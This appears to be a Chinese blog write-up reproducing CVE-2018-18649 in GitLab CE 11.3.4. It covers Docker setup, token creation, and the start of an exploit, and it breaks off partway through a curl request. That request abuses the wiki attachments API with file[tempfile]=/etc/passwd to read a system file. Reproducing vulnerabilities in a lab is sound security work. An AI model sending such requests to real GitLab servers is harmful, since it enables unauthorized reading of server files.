标签 - CVE-2018-18649

? CVE-2018-18649 ?    2020-05-07 15:37:53    1696    0    0

0x01 环境搭建

title

本示例中使用 gitlab-ce:11.3.4-ce.0(注:ce 即 Community Edition)。

使用 docker 搭建漏洞环境:

  1. screen -S CVE-2018-18649
  2. docker pull gitlab/gitlab-ce:11.3.4-ce.0
  3. docker run -d --name gitlab -p 80:80 -p 443:443 -p 2222:22 gitlab/gitlab-ce:11.3.4-ce.0

然后修改配置文件:

  1. docker exec -it gitlab /bin/bash
  2. nano /etc/gitlab/gitlab.rb
  3. # 去掉gitlab的注释并修改对应ip
  4. external_url 'http://47.56.208.67/'
  5. #重新载入配置文件
  6. gitlab-ctl reconfigure

访问对应ip,第一次需要设置密码,并新建用户:

http://47.56.208.67/

新建一个 Access Token,获取 private_token:

title

title

注:验证 private_token的方式为:
title

新建一个项目 test

title

所以现在的漏洞环境信息:

  1. http://47.56.208.67

title

  1. http://47.56.208.67/root/test/wikis/attachments

title


0x02 利用前提

这个漏洞需要 private_token 和身份认证,利用门槛高。

Access Token 在生成 Private Token 的时候,必须要在 Scopes 里面勾选了 api,否则 token 权限会不够!

title


0x03 漏洞利用

查看 /etc/passwd:

  1. root@hack:~# curl -H "private-token:pyLXE32y3Ab6va9p6mAA" 47.56.208.67/api/v4/projects/1/wikis/attachments -d "file[tempfile]=/etc/passwd&file[file